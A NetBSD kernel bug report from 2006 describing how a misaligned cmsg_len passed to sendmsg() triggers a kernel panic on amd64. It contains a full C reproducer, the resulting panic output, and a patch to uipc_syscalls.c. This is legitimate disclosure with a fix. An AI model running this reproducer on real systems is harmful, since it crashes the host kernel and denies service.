Subject: kern/34873: sendmsg() can cause kernel panic
To: None <kern-bug-people@netbsd.org, gnats-admin@netbsd.org,>
From: None <ryo@nerv.org>
List: netbsd-bugs
Date: 10/21/2006 14:20:00
>Number:         34873
>Category:       kern
>Synopsis:       sendmsg() can cause kernel panic
>Confidential:   no
>Severity:       serious
>Priority:       high
>Responsible:    kern-bug-people
>State:          open
>Class:          sw-bug
>Submitter-Id:   net
>Arrival-Date:   Sat Oct 21 14:20:00 +0000 2006
>Originator:     Ryo Shimizu
>Release:        NetBSD 4.99.3
>Organization:
>Environment:
System: NetBSD r9.nerv.org 4.99.3 NetBSD 4.99.3 (R9) #297: Sun Oct 8 16:23:07 JST 2006 ryo@r9.nerv.org:/usr/src/sys/arch/amd64/compile/R9 amd64
Architecture: x86_64
Machine: amd64
>Description:
illegal cmsg_len is passed through to uipc_usrreq.c:unp_internalize()
because msg_controllen was checked without __CMSG_ALIGN in sendit().

I tested on only amd64, but it can perhaps occur on all 64bit archtecture.


>How-To-Repeat:
$ cat sendmsg_panic.c
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

#define PATH_SOCKET 	"/tmp/.writed-socket"

/* #define CMSG_LENGTH __CMSG_ALIGN(sizeof(struct cmsghdr))	/* OK */
#define CMSG_LENGTH (sizeof(struct cmsghdr))	/* illegal size. PANIC! */

int
create_socket()
{
	int s;
	struct sockaddr_un sun;

	if ((s = socket(AF_UNIX, SOCK_STREAM, IPPROTO_IP)) == -1) {
		perror("socket");
		return -1;
	}
	sun.sun_family = AF_UNIX;
	strcpy(sun.sun_path, PATH_SOCKET);
	if (unlink(sun.sun_path) != 0 && errno != ENOENT) {
		perror("unlink");
		goto err1;
	}
	if (bind(s, (struct sockaddr *)&sun, sizeof(sun)) != 0) {
		perror("bind");
		goto err;
	}
	if (listen(s, 5) < 0) {
		perror("listen");
		goto err;
	}

	return s;

err:
	unlink(sun.sun_path);
err1:
	close(s);
	return -1;
}


int
open_socket(char *path)
{
	int s;
	struct sockaddr_un sun;

	if ((s = socket(AF_UNIX, SOCK_STREAM, IPPROTO_IP)) == -1) {
		perror("socket");
		return -1;
	}
	sun.sun_family = AF_UNIX;
	strcpy(sun.sun_path, path);
	if (connect(s, (struct sockaddr *)&sun, sizeof(sun)) == -1) {
		perror("connect");
		close(s);
		return -1;
	}
	return s;
}

void
server()
{
	int s, ns;
	int rc;
	int value;
	struct iovec iov;
	struct msghdr msg;
	struct cmsghdr *cmsg;

	if ((s = create_socket()) < 0) {
		printf("create_socket: error\n");
		return;
	}

	cmsg = malloc(CMSG_LENGTH);
	memset(cmsg,0,CMSG_LENGTH);

	cmsg->cmsg_len = CMSG_LENGTH;

	iov.iov_base = &value;
	iov.iov_len = sizeof(value);

	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_name = NULL;
	msg.msg_namelen = 0;
	msg.msg_control = cmsg;
	msg.msg_controllen = CMSG_LENGTH;

	{
		ns = accept(s, NULL, 0);
		if (ns < 0) {
			perror("accept");
			return;
		}

		if ((rc = recvmsg(ns, &msg, 0)) < 0) {
			perror("recvmsg");
			return;
		}
		printf("recvmsg: rc=%d, recv value=0x%08x\n",rc, value);
	}
}

void
client()
{
	int s;
	int value;
	int rc;
	struct iovec iov;
	struct msghdr msg;
	struct cmsghdr *cmsg;

	if ((s = open_socket(PATH_SOCKET)) < 0) {
		printf("cannot open socket\n");
		return;
	}

	cmsg = malloc(CMSG_LENGTH);
	memset(cmsg,0,CMSG_LENGTH);

	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;
	cmsg->cmsg_len = CMSG_LENGTH;

	value = 0x12345678;
	iov.iov_base = &value;
	iov.iov_len = sizeof(value);

	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_name = NULL;
	msg.msg_namelen = 0;
	msg.msg_control = cmsg;
	msg.msg_controllen = CMSG_LENGTH;

	if ((rc = sendmsg(s, &msg, 0)) < 0) {
		perror("sendmsg");
		return;
	}
	printf("sendmsg: rc=%d\n",rc);
}


int
main(argc, argv)
	int argc;
	char *argv[];
{
	pid_t pid;

	pid = fork();
	if (pid < 0) {
		perror("fork");
		exit(1);
	}

	if (pid) {
		server();
	} else {
		sleep(1);
		client();
	}


	return 0;
}
$ cc sendmsg_panic.c
$ ./a.out
panic: kernel diagnostic assertion "size > 0" failed: file "../../../../uvm/uvm_map.c", line 975
Stopped in pid 559.1 (a.out) at netbsd:cpu_Debugger+0x1:        ret
db>


>Fix:

Index: uipc_syscalls.c
===================================================================
RCS file: /cvsroot/src/sys/kern/uipc_syscalls.c,v
retrieving revision 1.103
diff -a -u -r1.103 uipc_syscalls.c
--- uipc_syscalls.c	12 Oct 2006 01:32:19 -0000	1.103
+++ uipc_syscalls.c	16 Oct 2006 07:53:51 -0000
@@ -512,7 +512,7 @@
 	} else
 		to = 0;
 	if (mp->msg_control) {
-		if (mp->msg_controllen < sizeof(struct cmsghdr)) {
+		if (mp->msg_controllen < CMSG_ALIGN(sizeof(struct cmsghdr))) {
 			error = EINVAL;
 			goto bad;
 		}